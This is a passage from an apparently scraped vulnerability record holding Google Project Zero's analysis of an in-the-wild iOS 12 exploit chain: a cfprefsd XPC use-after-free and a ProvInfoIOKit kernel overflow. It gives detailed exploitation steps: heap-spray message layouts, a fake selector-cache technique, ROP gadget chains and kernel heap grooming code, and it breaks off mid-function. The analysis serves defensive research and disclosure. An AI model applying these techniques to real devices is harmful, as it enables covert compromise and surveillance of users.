"AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:22", "description": "# Posted by Ian Beer, Project Zero\n\n \n\n\nTL;DR \n \n\n\nThis exploit chain supported iOS 12-12.1, although the two vulnerabilities were unpatched when we discovered the chain in the wild. It was these two vulnerabilities which we reported to Apple with a 7-day deadline, leading to the release of iOS 12.1.4. \n \nThe sandbox escape vulnerability again involves XPC, though this time it's a particular daemon incorrectly managing the lifetime of an XPC object. \n \nIt's the kernel bug used here which is, unfortunately, easy to find and exploit (if you don\u2019t believe me, feel free to seek a second opinion!). An IOKit device driver with an external method which in the very first statement performs an unbounded memmove with a length argument directly controlled by the attacker:\n\n** \n** \n\n\nIOReturn\n\nProvInfoIOKitUserClient::ucEncryptSUInfo(char* struct_in,\n\nchar* struct_out){\n\nmemmove(&struct_out[4],\n\n&struct_in[4],\n\n*(uint32_t*)&struct_in[0x7d4]);\n\n...\n\n \nThe contents of the struct_in buffer are completely attacker-controlled. \n \nSimilar to iOS Exploit Chain 3, it seems that testing and verification processes should have identified this exploit chain. \n \nIn the detailed writeup towards the end of this series, we'll look at how the attackers exploited both these issues to install their implant and spy on users, and the capabilities of the real-time surveillance that it enabled. \n\n\n## In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit\n\ntargets: 5s through X, 12.0 through 12.1 (vulnerabilities patched in 12.1.4)\n\n** \n** \n\n\niPhone6,1 (5s, N51AP)\n\niPhone6,2 (5s, N53AP)\n\niPhone7,1 (6 plus, N56AP)\n\niPhone7,2 (6, N61AP)\n\niPhone8,1 (6s, N71AP)\n\niPhone8,2 (6s plus, N66AP)\n\niPhone8,4 (SE, N69AP)\n\niPhone9,1 (7, D10AP)\n\niPhone9,2 (7 plus, D11AP)\n\niPhone9,3 (7, D101AP)\n\niPhone9,4 (7 plus, D111AP)\n\niPhone10,1 (8, D20AP)\n\niPhone10,2 (8 plus, D21AP)\n\niPhone10,3 (X, D22AP)\n\niPhone10,4 (8, D201AP)\n\niPhone10,5 (8 plus, D211AP)\n\niPhone10,6 (X, D221AP)\n\n** \n** \n\n\n16A366 (12.0 - 17 Sep 2017)\n\n16A404 (12.0.1 - 8 Oct 2018)\n\n16B92 (12.1 - 30 Oct 2018)\n\n** \n** \n\n\nfirst unsupported version 12.1.1 - 5 Dec 2018\n\n### getting _start'ed\n\nLike in iOS Exploit Chain 3, this privilege escalation binary doesn't rely on the system Mach-O loader to resolve dependencies, instead symbols are resolved when execution begins. \n \nThey terminate all the other threads running in this task, then check for their prior exploitation marker. Previously we've seen them add a string to the bootargs sysctl. They changed to a new technique this time: \n \n\n\nsysctl_value = 0;\n\nvalue_size = 4;\n\nsysctlbyname(\"kern.maxfilesperproc\", &sysctl_value, &value_size, 0, 0);\n\nif ( sysctl_value == 0x27FF )\n\n{\n\nwhile ( 1 )\n\nsleep(1000LL);\n\n} \n \n\n\n \nIf kern.maxfilesperproc has the value 0x27ff, then this device is considered to be already compromised, and the exploit stops.\n\n### XPC again\n\nLike iOS Exploit Chain 3, this chain has separate sandbox escape and kernel exploits. The sandbox escape involves XPC again, but this time it's not core XPC code but a daemon incorrectly using the XPC API.\n\n### Object lifetime management in XPC\n\nXPC has quite detailed man pages which cover the lifetime semantics of XPC objects. Here's a relevant snippet from $ man xpc_objects: \n \n\n\nMEMORY MANAGEMENT\n\nObjects returned by creation functions in the XPC framework may be uniformly retained and released with the functions xpc_retain() and xpc_release() respectively.\n\n \n\n\nThe XPC framework does not guarantee that any given client has the last or only reference to a given object. Objects may be retained internally by the system.\n\n \n\n\nFunctions which return objects follow the conventional create, copy and get naming rules:\n\n \n\n\no create A new object with a single reference is returned.\n\nThis reference should be released by the caller.\n\no copy A copy or retained object reference is returned.\n\nThis reference should be released by the caller.\n\no get An unretained reference to an existing object is returned.\n\nThe caller must not release this reference, and is responsible\n\nfor retaining the object for later use if necessary.\n\n \nXPC objects are reference counted. xpc_retain can be called to manually take a reference, and xpc_release to drop a reference. All XPC functions with copy in the name return an object with an extra reference to the caller and XPC functions with get in the name do not return an extra reference. The man page tells us that if we call an XPC function with get in the name \"an unretained reference to an existing object is returned. The caller must not release this reference.'' A case of code doing exactly that is what we'll look at now. \n\n\n### cfprefsd vulnerability\n\ncom.apple.cfprefsd.daemon is an XPC service hosted by the cfprefsd daemon. This daemon is unsandboxed and runs as root, and is directly reachable from the app sandbox and the WebContent sandbox. \n \nThe cfprefsd binary is just a stub, containing a single branch to __CFXPreferencesDaemon_main in the CoreFoundation framework. All the code is in the CoreFoundation framework. \n \n__CFXPreferencesDaemon_main allocates a CFPrefsDaemon object which creates the com.apple.cfprefsd.daemon XPC service listening on the default concurrent [dispatch queue](<https://developer.apple.com/documentation/dispatch/dispatchqueue>), giving it a block to execute for each incoming connection. Here's pseudo-Objective-C for the daemon setup code: \n \n\n\n[CFPrefsDaemon initWithRole:role testMode] {\n\n...\n\nlistener =\n\nxpc_connection_create_mach_service(\"com.apple.cfprefsd.daemon\",\n\n0,\n\nXPC_CONNECTION_MACH_SERVICE_LISTENER);\n\n \n\n\nxpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {\n\nif (xpc_get_type(peer) == XPC_TYPE_CONNECTION) {\n\nxpc_connection_set_event_handler(peer, ^(xpc_object_t obj) {\n\nif (xpc_get_type(obj) == XPC_TYPE_DICTIONARY) {\n\ncontext_obj = xpc_connection_get_context(peer);\n\ncfprefsd = context_obj.cfprefsd;\n\n[cfprefsd handleMessage:obj fromPeer:peer replyHandler:\n\n^(xpc_object_t reply)\n\n{\n\nxpc_connection_send_message(peer, reply);\n\n}];\n\n}\n\n}\n\n \n\n\n// move to a new queue:\n\nchar label[0x80];\n\npid_t pid = xpc_connection_get_pid(peer)\n\ndispatch_queue_t queue;\n\nint label_len = snprintf(label, 0x80, \"Serving PID %d\", pid);\n\nif (label_len > 0x7e) {\n\nqueue = NULL;\n\n} else {\n\nqueue = dispatch_queue_create(label, NULL);\n\n}\n\nxpc_connection_set_target_queue(peer, queue);\n\n \n\n\ncontext_obj = [[CFPrefsClientContext alloc] init];\n\ncontext_obj.lock = 0;\n\ncontext_obj.cfprefsd = self; // the CFPrefsDaemon object\n\ncontext_obj.isPlatformBinary = -1; // char\n\ncontext_obj.valid = 1;\n\nxpc_connection_set_context(peer, context_obj);\n\nxpc_connection_set_finalizer(peer, client_context_finalizer)\n\nxpc_connection_resume(peer);\n\n}\n\n} \n\n}\n\n \nThis block creates a new serial dispatch queue for each connection and provides a block for each incoming message on the connection. \n \nEach XPC message on a connection ends up being handled by [CFPrefsDaemon handleMessage:fromPeer:replyHandler:] : \n \n\n\n-[CFPrefsDaemon handleMessage:msg fromPeer:peer replyHandler: handler] {\n\nif (xpc_get_type(msg) == XPC_TYPE_ERROR) {\n\n[self handleError:msg]\n\n} else {\n\nxpc_dictionary_get_value(msg, \"connection\", peer);\n\nuint64_t op = xpc_dictionary_get_uint64(msg, \"CFPreferencesOperation\");\n\nswitch (op) {\n\ncase 1:\n\ncase 7:\n\ncase 8:\n\n[self handleSourceMessage:msg replyHandler:handler];\n\nbreak;\n\ncase 2:\n\n[self handleAgentCheckInMessage:msg replyHandler:handler];\n\nbreak;\n\ncase 3:\n\n[self handleFlushManagedMessage:msg replyHandler:handler];\n\nbreak;\n\ncase 4:\n\n[self handleFlushSourceForDomainMessage:msg replyHandler:handler];\n\nbreak;\n\ncase 5:\n\n[self handleMultiMessage:msg replyHandler:handler];\n\nbreak;\n\ncase 6:\n\n[self handleUserDeletedMessage:msg replyHandler:handler];\n\nbreak;\n\ndefault:\n\n// send error reply\n\n}\n\n}\n\n}\n\n \nhandleMultiMessage sounds like the most interesting one; here's the pseudocode: \n \n\n\n-[CFPrefsDaemon handleMultiMessage:msg replyHandler: handler]\n\n{\n\nxpc_object_t peer = xpc_dictionary_get_remote_connection(msg);\n\n// ...\n\nxpc_object_t messages = xpc_dictionary_get_value(msg, \"CFPreferencesMessages\");\n\nif (!messages || xpc_get_type(messages) != OS_xpc_array) {\n\n// send error message\n\n}\n\n \n\n\n// may only contain dictionaries or nulls:\n\nbool all_types_valid = xpc_array_apply(messages, ^(xpc_object_t entry) {\n\nxpc_type_t type = xpc_get_type(entry);\n\nreturn (type == XPC_TYPE_DICTIONARY || type == XPC_TYPE_NULL)\n\n};\n\n \n\n\nif (!all_types_valid) {\n\n// return error\n\n}\n\n \n\n\nsize_t n_sub_messages = xpc_array_get_count(messages);\n\n \n\n\n// macro from CFInternal.h\n\n// allocates either on the stack or heap\n\nnew_id_array(sub_messages, n_sub_messages);\n\n \n\n\nif (n_sub_messages > 0) {\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\n// raw pointers, not holding a reference\n\nsub_messages[i] = xpc_array_get_value(messages, i);\n\n}\n\n \n\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\nif (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {\n\n[self handleMessage: sub_messages[i]\n\nfromPeer: peer\n\nreplyHandler: ^(xpc_object_t reply) {\n\nsub_messages[i] = xpc_retain(reply);\n\n}];\n\n}\n\n}\n\n}\n\n \n\n\nxpc_object_t reply = xpc_dictionary_create_reply(msg);\n\nxpc_object_t replies_arr = xpc_array_create(sub_messages, n_sub_messages);\n\nxpc_dictionary_set_value(reply, \"CFPreferencesMessages\", replies_arr);\n\n \n\n\nxpc_release(replies_arr);\n\n \n\n\nif (n_sub_messages) {\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\nif (xpc_get_type(sub_messages[i]) != XPC_TYPE_NULL) {\n\nxpc_release(sub_messages[i]);\n\n}\n\n}\n\n}\n\n \n\n\nfree_id_array(sub_messages);\n\n \n\n\nhandler(reply);\n\n \n\n\nxpc_release(reply);\n\n}\n\n \nThe multiMessage handler is expecting the input message to be an xpc_array of xpc_dictionary objects, which would be the sub-messages to process. It pulls each of them out of the input xpc_array with xpc_array_get_value and passes them to the handleMessage method but with a different replyHandler block which, rather than immediately sending the reply message back to the client, instead overwrites the input sub-message pointer in the sub_messages array with the reply. When all the sub-messages have been processed they create an xpc_array from all the replies and invoke the replyHandler passed to this function passing a reply message containing an xpc_array of sub-message replies. \n \nThe bug here is slightly subtle. If we imagine that there is no multiMessage, then the semantics of the replyHandler block which gets passed to each message handler are: \"invoke me to send a reply\". Hence the name \"replyHandler\". For example, message type 3 is handled by handleFlushManagedMessage, which invokes the replyHandler block to return a reply. \n \nHowever not all of the message types expect to send a reply. Think of them like void functions in C; they have no return value. Since they don't return a value, they don't send a reply message. And that means that they don't invoke the replyHandler block. Why would you invoke a block called replyHandler if you had no reply to send? \n \nThe problem is that multiMessage has changed the semantics of the replyHandler block; multiMessage's replyHandler block takes a reference on the reply object and overwrites the input message object in the sub_messages array: \n \n\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\nif (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {\n\n[self handleMessage: sub_messages[i]\n\nfromPeer: peer\n\nreplyHandler: ^(xpc_object_t reply) {\n\nsub_messages[i] = xpc_retain(reply);\n\n}];\n\n}\n\n}\n\n \nBut as we saw, there's no guarantee that the replyHandler block is going to be invoked at all; in fact some of the message handlers are just NOPs and do nothing at all. \n \nThis becomes a problem because the multiMessage replyHandler block changes the lifetime semantics of the pointers stored in the sub_messages array. When the sub_messages array is initialized it stores raw, unretained pointers, returned by an xpc_*get* method: \n \n\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\n// raw pointers, not holding a reference\n\nsub_messages[i] = xpc_array_get_value(messages, i);\n\n}\n\n \nxpc_array_get_value returns the raw pointer at the given offset in the xpc_array. It doesn't return a pointer holding a new reference. Therefore it's not valid to use that pointer beyond the lifetime of the messages xpc_array. The replyHandler block then reuses the sub_messages array to store the replies to each of the sub-messages, but this time it takes a reference on the reply objects it stores in there: \n \n\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\nif (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {\n\n[self handleMessage: sub_messages[i]\n\nfromPeer: peer\n\nreplyHandler: ^(xpc_object_t reply) {\n\nsub_messages[i] = xpc_retain(reply);\n\n}];\n\n}\n\n}\n\n \nOnce all the sub_messages have been handled they attempt to release all of the replies: \n \n\n\nif (n_sub_messages) {\n\nfor (size_t i = 0; i < n_sub_messages; i++) {\n\nif (xpc_get_type(sub_messages[i]) != XPC_TYPE_NULL) {\n\nxpc_release(sub_messages[i]);\n\n}\n\n}\n\n}\n\n \nIf there were a sub-message which didn't invoke the replyHandler block, then this loop would xpc_release the input sub-message xpc_dictionary, returned via xpc_array_get_value, rather than a reply. As we know, xpc_array_get_value doesn't return a reference, so this would lead to a reference being dropped when none was taken. Since the only reference to the sub-message xpc_dictionary is held by the xpc_dictionary containing the request message, the xpc_release here will free the sub-message xpc_dictionary, leaving a dangling pointer in the request message xpc_dictionary. When that dictionary is released, it will call xpc_release on the sub-message dictionary again, causing an Objective-C selector to be sent to a free'd object. \n\n\n### Exploitation\n\nLike iOS Exploit Chain 3, they also choose a heap and port spray strategy here. But they don't use a resource leak primitive, instead sending everything in the XPC trigger message itself.\n\n### Exploit flow\n\nThe exploit strategy here is to reallocate the free'd xpc_dictionary in the gap between the xpc_release when destroying the sub_messages and the xpc_release of the outer request message. They do this by using four threads, running in parallel. Threads A, B and C start up and wait for a global variable to be set to 1. When that happens they each try 100 times to send the following XPC message to the service: \n \n\n\n{ \"CFPreferencesOperation\": 5,\n\n\"CFPreferencesMessages\" : [10'000 * xpc_data_spray] }\n\n \nwhere xpc_data_spray is a 448-byte xpc_data buffer filled with the qword value 0x118080000. This is the target address to which they will try to heapspray. They are hoping that the contents of one of these xpc_data's 448-byte backing buffers will overlap with the free'd xpc_dictionary, completely filling the memory with the heapspray address. \n \nAs we saw in [CFPrefsDaemon handleMultiMessage:replyHandler] this is not a valid multiMessage; the CFPreferencesMessage array may only contain dictionaries or NULLs. Nevertheless, it will take some time for all these xpc_data objects to be created, handleMultiMessage to run, fail and the xpc_data objects to be destroyed. They are hoping that with three threads trying this in parallel this replacement strategy will be good enough. \n\n\n### Trigger message\n\nThe bug will be triggered by a sub-message with an operation key mapping to a handler which doesn't invoke its reply block. They chose operation 4, handled by handleFlushSourceForDomainMessage. The trigger message looks like this: \n \n\n\n{ \"CFPreferencesOperation\": 5\n\n\"CFPreferencesMessages\" :\n\n[\n\n8000 * (op_1_dict, second_op_5_dict),\n\n150 * (second_op_5_dict, op_4_dict, op_4_dict, op_4_dict),\n\nthird_op_5_dict\n\n]\n\n}\n\n \nwhere the sub-message dictionaries are: \n \n\n\nop_1_dict = {\n\n\"CFPreferencesOperation\": 1,\n\n\"domain\": \"a\",\n\n\"A\": 8_byte_xpc_data\n\n}\n\n \n\n\nsecond_op_5_dict = {\n\n\"CFPreferencesOperation\": 5\n\n}\n\n \n\n\nop_4_dict = {\n\n\"CFPreferencesOperation\": 4\n\n}\n\n \n\n\nthird_op_5_dict = {\n\n\"CFPreferencesOperation\": 5\n\n\"CFPreferencesMessages\" : [0x2000 * xpc_send_right,\n\n0x10 * xpc_data_heapspray]\n\n}\n\n \nOn 4k devices the heapspray xpc_data object is around 25MB, on 16k devices with more RAM it's around 30MB. They put 16 of them in the message, leading to 400MB of sprayed virtual address space on 4k and 500MB or so on 16k devices. \n\n\n### PC control\n\nThe racer threads are trying to refill free'd memory with the repeated pointer value 0x118080000. If things work out xpc_release will be called on an xpc_dictionary which is filled with that value. \n \nWhat does xpc_release actually do? The first qword of an Objective-C object is its isa pointer. This is a pointer to the class object which defines the object's type. In xpc_release they check whether the isa points inside libxpc's __objc_data section. If so, it calls os_object_release. Since they've supplied a fake isa pointer (with the value 0x118080000) the other branch will be taken, calling objc_release. If the FAST_ALLOC bit is clear in the class object's bits field (bit 2 in the byte at offset 0x20) then this will result in the release selector being sent to the object, which is what will happen in this case:\n\n### fake selector cache technique\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMtchwZ_5WHZbAlwE10_NBkLkgOqO59kGwUWxrlvS1wOhKj_d_AiCL_jAsIBH7pF5TM4VAAg61pY3isGNjlIGyg1YdvoPSBrite7xKI4Y3s_d4MwVndbH5jw9cVQmwaGW14_Srp8mGPFEY0r0Oq9Sj-m6cRZ2F-tVrw1i6RJA7NrWZE6kDGZrWfp3_/s2700/cfprefsd%20fake%20selector%20cache%20-%20HI_RES.png>)\n\nBuilding a fake Objective-C object to gain PC control when a selector is sent to it like this is a [known technique](<http://www.phrack.org/issues/69/9.html>). obj_msgSend is the native function responsible for handling selector invocations. It will first follow the isa pointer to the class object, then follow the pointer at +0x10 in there to a selector cache structure, which is an array of (function_pointer, selector) pairs; if the target selector matches an entry in the cache, then the cached function pointer is called.\n\n### Full control\n\nAt the point they gain PC control X0 points to the free'd xpc_dictionary object. In the previous chain which also had a sandbox escape they were able to quite easily pivot the stack by JOP'ing to longjmp. In iOS 12 Apple added some hardening to longjmp, on both the A12 using [PAC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) and A11 and earlier devices without PAC. Those devices are not supported by these exploits (though the exploits can be relatively easily ported to work on them). \n \nHere's longjmp in iOS 12 for A11 and below: \n \n\n\n__longjmp\n\nMRS X16, #3, c13, c0, #3 ; read TPIDRRO_EL0\n\nAND X16, X16, #0xFFFFFFFFFFFFFFF8\n\nLDR X16, [X16,#0x38] ; read a key from field 7\n\n; in the thread descriptor\n\nLDP X19, X20, [X0]\n\nLDP X21, X22, [X0,#0x10]\n\nLDP X23, X24, [X0,#0x20]\n\nLDP X25, X26, [X0,#0x30]\n\nLDP X27, X28, [X0,#0x40]\n\nLDP X10, X11, [X0,#0x50]\n\nLDR X12, [X0,#0x60]\n\nLDP D8, D9, [X0,#0x70]\n\nLDP D10, D11, [X0,#0x80]\n\nLDP D12, D13, [X0,#0x90]\n\nLDP D14, D15, [X0,#0xA0]\n\nEOR X29, X10, X16 ; use the key to XOR FP, LR and SP\n\nEOR X30, X11, X16\n\nEOR X12, X12, X16\n\nMOV SP, X12\n\nCMP W1, #0\n\nCSINC W0, W1, WZR, NE\n\nRET\n\n \nWe looked at longjmp in iOS 11 for the iOS Exploit Chain 3 sandbox escape. The addition here in iOS 12 on A11 and below is the reading of a key from the thread local storage area and its use to XOR the LR, SP and FP registers. \n \nThose first three instructions are the _OS_PTR_MUNGE_TOKEN macro from libsyscall: \n\n\n \n\n\n#define _OS_PTR_MUNGE_TOKEN(_reg, _token) \\\n\nmrs _reg, TPIDRRO_EL0 %% \\\n\nand _reg, _reg, #~0x7 %% \\\n\nldr _token, [ _reg, #_OS_TSD_OFFSET(__TSD_PTR_MUNGE) ]\n\n \nThis is reading from the TPIDRRO_EL0 system register (Read-Only Software Thread ID Register) which XNU points to the userspace thread local storage area. The key value is passed to new processes on exec via the special apple[] argument to main, generated here during exec: \n \n \n\n\n/*\n\n* Supply libpthread & libplatform with a random value to use for pointer\n\n* obfuscation.\n\n*/\n\nerror = exec_add_entropy_key(imgp, PTR_MUNGE_KEY, PTR_MUNGE_VALUES, FALSE);\n\n \nFundamentally, the use of longjmp in iOS Exploit Chain 3 was just a technique; it was nothing fundamental to the exploit chain. longjmp was just a very convenient way to pivot the stack and gain full register control. Let's see how the attackers pivot the stack anyway, without the use of longjmp: \n \nHere's gadget_0, which will be read from the fake Objective-C selector cache object. X0 will point to the dangling xpc_dictionary object which is filled with 0x118080000: \n \n \n\n\ngadget_0:\n\nLDR X0, [X0,#0x18] ; X0 := (*(dangling_ptr+0x18)) (= 0x118080000)\n\nLDR X1, [X0,#0x40] ; X1 := (*(0x118080040)) (= gadget_1_addr)\n\nBR X1 ; jump to gadget_1\n\n \ngadget_0 gives them X0 pointing to the heap-sprayed object, and branches to gadget_1: \n \n \n\n\ngadget_1:\n\nLDR X0, [X0] ; X0 := (*(0x118080000)) (= 0x118080040)\n\nLDR X4, [X0,#0x10] ; X4 = *(0x118080050) (= gadget_2_addr)\n\nBR X4 ; jump to gadget_2\n\n \ngadget_1 gets a new, controlled value for X0 and jumps to gadget_2: \n \n \n\n\ngadget_2:\n\nLDP X8, X1, [X0,#0x20] ; X8 := *(0x118080060) (=0x1180900c0)\n\n; X1 := *(0x118080068) (=gadget_4_addr)\n\nLDP X2, X0, [X8,#0x20] ; X2 := *(0x1180900e0) (=gadget_3_addr)\n\n; X0 := *(0x1180900e8) (=0x118080070)\n\nBR X2 ; jump to gadget_3\n\n \ngadget_2 gets control of X0 and X8 and jumps to gadget_3: \n \n \n\n\ngadget_3:\n\nSTP X8, X1, [SP] ; *(SP) = 0x1180900c0\n\n; *(SP+8) = gadget_4_addr\n\nLDR X8, [X0] ; X8 := *(0x118080070) (=0x118080020)\n\nLDR X8, [X8,#0x60] ; X8 := *(0x118080080) (=gadget_4_addr+4)\n\nMOV X1, SP ; X1 := real stack\n\nBLR X8 ; jump to gadget 4+4\n\n \ngadget_3 stores X8 and X1 to the real stack, creating a fake stack frame with a controlled value for the saved frame pointer (0x1180900c0) and a controlled return address (gadget_4_addr.) It then jumps to gadget_4+4: \n \n \n\n\ngadget_4+4:\n\nLDP X29, X30, [SP],#0x10 ; X29 := *(SP) (=0x1180900c0)\n\n; X30 := *(SP+8) (=gadget_4_addr)\n\n; SP += 0x10\n\nRET ; jump to LR (X30), gadget_4:\n\n \nThis loads the frame pointer and link register from the real stack, from the addresses where they just wrote controlled values. This gives them arbitrary control of the frame pointer and link register. The RET jumps to the value in the link register, which is gadget_4: \n \n \n\n\ngadget_4:\n\nMOV SP, X29 ; SP := X29 (=0x1180900c0)\n\nLDP X29, X30, [SP],#0x10 ; X29 := *(0x1180900c0) (=UNINIT)\n\n; X30 := *(0x1180900c8) (gadget_5_addr)\n\n; SP += 0x10 (SP := 0x1180900d0)\n\nRET ; jump to LR (X30), gadget_5\n\n \nThis moves their controlled frame pointer into the stack pointer register, loads new values for the frame pointer and link register from there and RETs to gadget_5, having successfully pivoted to a controlled stack pointer. The ROP stack from here on is very similar to PE3's sandbox escape stack; they use the same LOAD_ARGS gadget to load X0-X7 before each target function they want to call: \n \n \n\n\ngadget_5: (LOAD_ARGS)\n\nLDP X0, X1, [SP,#0x80]\n\nLDP X2, X3, [SP,#0x90]\n\nLDP X4, X5, [SP,#0xA0]\n\nLDP X6, X7, [SP,#0xB0]\n\nLDR X8, [SP,#0xC0]\n\nMOV SP, X29\n\nLDP X29, X30, [SP],#0x10\n\nRET\n\n \nThey also use the same memory_write gadget: \n \n \n\n\ngadget_6: (MEMORY_WRITE)\n\nLDR X8, [SP]\n\nSTR X0, [X8,#0x10]\n\nLDP X29, X30, [SP,#0x20]\n\nADD SP, SP, #0x30\n\nRET\n\n \nSee the writeup for iOS Exploit Chain 3 for an annotated breakdown of how the ROP stack using these gadgets works. It proceeds in a very similar way to iOS Exploit Chain 3; calling IOServiceMatching, IOServiceGetMatchingService then IOServiceOpen to get an IOKit UserClient mach port send right. They use the memory write gadget to write that port name to the four exfil messages, which they send in succession. In the WebContent process they listen on the portset for a message. If they receive a message, it's got a ProvInfoIOKitUserClient send right in it. \n\n\n### Kernel vulnerability\n\nThe sandbox escape sent back a connection to the ProvInfoIOKitUserClient user client class, present since at least iOS 10. \n \nThis class exposes an interface to userspace by overriding getTargetAndMethodForIndex, providing 6 external methods. getTargetAndMethod returns a pointer to an IOExternalMethod structure which describes the type and size of the expected inputs and outputs. \n \nExternal method 5 is ucEncryptSUInfo, which takes a 0x7d8 byte structure input and returns a 0x7d8 byte structure output. These sizes are verified by the base IOUserClient class's implementation of IOUserClient::externalMethod; attempting to pass other sizes of input or output structure will fail. \n \nThis is the very first statement in ProvInfoIOKitUserClient::ucEncryptSUInfo, I haven't trimmed anything from the start of this function. struct_in points to a buffer of 0x7d8 attacker controlled bytes. As seen in the introduction above:\n\n** \n** \n\n\nIOReturn\n\nProvInfoIOKitUserClient::ucEncryptSUInfo(char* struct_in,\n\nchar* struct_out){\n\nmemmove(&struct_out[4],\n\n&struct_in[4],\n\n*(uint32_t*)&struct_in[0x7d4]);\n\n...\n\n \nIOKit external methods are akin to syscalls; the arguments are untrusted at this boundary. The very first statement in this external method is a memmove operation with a trivially user-controlled length argument. \n\n\n### Kernel exploitation\n\nThe start of the kernel exploit is the same as usual: get the correct kernel offsets for this device and create an IOSurfaceRootUserClient for attaching arbitrary OSObjects. They allocate the 0x800 pipes (first increasing the open files limit) and 1024 early ports. \n \nThen they allocate 768 ports, split into four groups like this: \n \n\n\nfor ( i = 0; i < 192; ++i ) {\n\nmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_a[i]);\n\nmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_b[i]);\n\nmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_c[i]);\n\nmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_d[i]);\n\n}\n\n \nThen a further five standalone ports: \n \n \n\n\nmach_port_allocate((unsigned int)mach_task_self_, 1LL,\n\n&port_for_more_complex_kallocer);\n\nmach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_b);\n\nmach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_c);\n\nmach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_d);\n\nmach_port_allocate((unsigned int)mach_task_self_, 1LL,\n\n&first_kalloc_groomer_port);\n\n \nThey use a kalloc_groomer message to make 25600 kalloc.4096 allocations, then force a GC using the same new technique as iOS Exploit Chain 3. \n \nThey allocate 10240 before_ports, a target_port, and 5120 after_ports. This is again a carbon-copy of every which we've seen in the previous chains. It seems like they're setting up for giving themselves a dangling pointer to target_port, doing a zone transfer into kalloc.4096 and building a fake kernel task port. \n \nThey send a more complex kalloc_groomer which will make 1024 kalloc.4096 allocations followed by 1024 kalloc.6144 allocations. This fills in gaps in both those zones. \n \n96 times they alternately send an out-of-line ports descriptor with 0x200 entries to a port from ports_a[] then a kalloc.4096 groomer to a port from ports_c[]. \n \n \n\n\nfor ( j = 0; j < 96; ++j ) { // use the first half of these arrays of ports\n\nsend_ool_ports_msg(some_of_ports_a[j],\n\nsome_ports_to_send_ool,\n\n0x200u,\n\nconst_15_or_8,\n\n0x14u);// 15 or 8 kalloc.4096 of ool_ports\n\nsend_kalloc_groomer_msg(some_of_ports_c[j],\n\n4096,\n\nstack_buf_for_kalloc_groomer,\n\n1);// kalloc.4096 of ool_desc\n\n}\n\n \nThe kalloc.4096 containing the OOL_PORTS descriptor in the kernel will look like this: \n \n \n\n\n+0x528 : target_port\n\n+0x530 : target_port\n\n+0xd28 : target_port\n\n+0xd30 : target_port\n\n \nhopefully that approximately alternates with a kalloc.4096 which is empty. This gives them a kalloc.4096 which looks a bit like this: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2VZ-dSaNigQTbZeJOanbhqGeU4u6LFbvxJQ_vNFDFeOQrnsxE0fEq2tBXavNcklt4R_J5j2v4KN6fZ_0fuM9_bXbncZMgfNR7bWzShEpnbA4QL-oEFLc7XkcrmL5RtbmWOgT1ozPzRAp7sjNcgPSwxMO1JgGXjYRTVFXsL2W83VRnix_0R_I4EhY6/s3833/ProvInfo%201%20-%20HI_RES.png>)\n\nwhere the P's are out-of-line ports descriptors with the above layout and the K's are empty kalloc.4096 from the out-of-line memory descriptors. \n \nThey then alternate another 96 times, first deserializing a 4104 byte OSData object filled with ASCII '1's and a 4104 kalloc groomer which is empty. Both of these will result in kalloc.6144 allocations, as that's the next size class above kalloc.4096:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2VQXtMOELhbE_yGuonSKrGIwE-zkk0d3xfAUjvBPiWwDelbiqkRdP552ZOCGlfS7J4zQE9hCMcSdRalggrabvessChRz3KPyBnD2fe-QrenHoSe8f2yn6CsHu0Wj95_rSpsD0LXNbu4XupU0l9djTXjb-UZgM2-1RxadV_O4XCRBC9sfrFzCG2sHg/s3881/ProvInfo%20OKOKOK%20-%20HI_RES.png>)\n\nThis leads to a layout a bit like that, where OSData backing buffers approximately alternate with empty out-of-line memory descriptors in kalloc.6144.\n\n### Making holes\n\nThey destroy the middle half of the kalloc.4096's, hopefully leaving gaps in-between some of the the out-of-line ports descriptors: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicqWCh1wjH0EVlLMtdkS1H7TL0pFrl57RuPBe0f-F0fPqv0oOzdxmRGnijt8tdGhfHGs0iu5FOxidK0ya6eQ5pynCYQ6NTs2hfLmxB1OJDuaI7OY7o6uNT0lA8z_j1b27PEA13NzdDdEq8mLLv20PPCbnKwLTLxvHT7eC2HfDYwLzT2vH1MQIpcunE/s3860/ProvInfo%201%20P%20with%20gaps%20-%20HI_RES.png>)\n\nSimilarly they destroy the middle half of the kalloc.6144 out-of-line memory descriptors: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUeD6XHgpkZV82-Ft-q2yPQQZ-M6_N9RDUlwj2E03hsRGe2TRQmZVgVko0G2HYFBxC0K-qLQa6x9buoqkmvBSKEZAwVQXyNB0Rs47zBxla3iQpPyFDsZxobPlziDZtdeMwoKCV5uQ1RI5hU5hYTBom5oXN8Pf1ItPVsrcxB3Fq-zukXBe3whPU6okI/s3879/ProvInfo%20OKOKOK%20O%20gaps%20-%20HI_RES.png>) They reallocate half the amount they just freed via a complex kallocer with 24 allocations, then trigger the overflow:\n\n__int64 __fastcall trigger_overflow(mach_port_t userclient,\n\nuint32_t bad_length)\n\n{\n\nint64 struct_out_size;\n\nchar struct_out[0x7d8];\n\nchar struct_in[0x7d8];\n\nmemset(struct_in, 'A', 